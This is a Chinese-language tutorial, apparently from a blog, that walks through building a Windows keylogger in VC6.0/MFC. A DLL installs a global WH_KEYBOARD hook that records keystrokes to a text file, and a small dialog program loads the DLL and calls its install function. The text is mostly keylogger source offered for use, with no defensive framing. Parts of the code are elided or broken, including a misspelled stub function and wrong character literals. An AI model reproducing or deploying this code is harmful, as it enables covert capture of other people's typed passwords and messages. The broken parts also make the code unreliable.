1.编写键盘记录钩子的DLL函数
2.编写主程序调用DLL文件
一.
在vc6.0新建一个名字为hodll的MFC Appwizard DLL工程
在hodll.h文件里面//main symbols这行下面声明两个全局函数
BOOL _declspec(dllexport) _stdcall installhook();//钩子安装函数
LRESULT _declspec(dllexport) _stdcall CALLBACK KeyboardProc(int nCode,WPARAM wParam,LPARAM lParam);//回调函数
在hodll.cpp添加全局变量
static HHOOK hkb=NULL;//钩子句柄
HINSTANCE hins; //钩子函数在的模块句柄
char szBuf[256];
char *p;
CString msg;
添加主函数代码
LRESULT _declspec(dllexport) _stdcall CALLBACK KeyboardProc(int nCode,WPARAM wParam,LPARAM lParam)
{
if(((DWORD)lParam&0x40000000)&&(HC_ACTION==nCode))
{
switch(wParam)
{
// ESC F1~F12
case VK_ESCAPE:record("ESC");break;
case VK_F1:record("F1");break;
......
......
}
LRESULT RetVal=CallNextHookEx(hkb,nCode,wParam,lParam);
return RetVal;
}
void rocord(){}//把字符写到指定txt文件中
BOOL _declspec(dllexport)_stdcall installhook()//钩子安装函数
{
hkb=SetWindowsHookEx(WH_KEYBOARD,(HOOKPROC)KeyboardProc,hins,0);
return TRUE;
}
BOOL _declspec(dllexport) UnHooK()//钩子卸载函数
{
BOOL unhooked=UnhookWindowsHookEx(hkb);
return unhooked;
}
BOOL CHodllApp::InitInstance()
{
AFX_MANAGE_STATE(AfxGetStaticModuleState());
hins=AfxGetInstanceHandle();
GetModuleFileName(AfxGetInstanceHandle(),szBuf,sizeof(szBuf));
p=szBuf;
while(strchr(p,'//'))
{
p=strchr(p,'//');
p++;
}
*p='/0';
msg=szBuf;
return TRUE;
}
在hodll.def文件中添加
installhook
KeyboardProc
DLL函数就可以运行了
二.
创建testhook的MFC exe基本对话框工程文件
在窗口初始化函数里面加上代码
// Add "About..." menu item to system menu.
//防止多开程序 造成错误
CreateMutex(NULL,FALSE,"testhook");
if(GetLastError()==ERROR_ALREADY_EXISTS)
CDialog::OnOK();
在后面加上
// TODO: Add extra initialization here
//创建窗口时 读取DLL文件
static HINSTANCE hinstDLL;
typedef BOOL(CALLBACK *inshook)();
inshook instkbhook;
if(hinstDLL=LoadLibrary((LPCTSTR)"hodll.dll"))
{
instkbhook=(inshook)GetProcAddress(hinstDLL,"installhook");
instkbhook();
}
else
AfxMessageBox("DLL No Found");
然后编译运行
把MFC生成的exe文件与hodll.dll放在同一个目录下 ok了